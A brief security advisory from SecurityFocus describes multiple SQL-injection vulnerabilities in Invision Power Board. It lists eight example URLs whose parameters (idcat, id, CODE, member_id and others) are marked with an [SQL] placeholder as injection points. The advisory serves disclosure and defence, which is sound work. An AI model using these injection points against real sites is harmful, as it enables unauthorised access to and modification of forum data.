source: https://www.securityfocus.com/bid/18836/info

Invision Power Board is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied data before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/index.php?act=ketqua&code=showcat&idcat=[SQL]
http://www.example.com/index.php?act=Attach&type=post&id=[SQL]
http://www.example.com/index.php?act=Profile&CODE=[SQL]
http://www.example.com/index.php?act=ketqua&code=[SQL]
http://www.example.com/coins_list.php?member_id=[SQL]
http://www.example.com/index.php?act=Login&CODE=[SQL]
http://www.example.com/index.php?act=Help&CODE=[SQL]
http://www.example.com/index.php?act=ref&id=[SQL]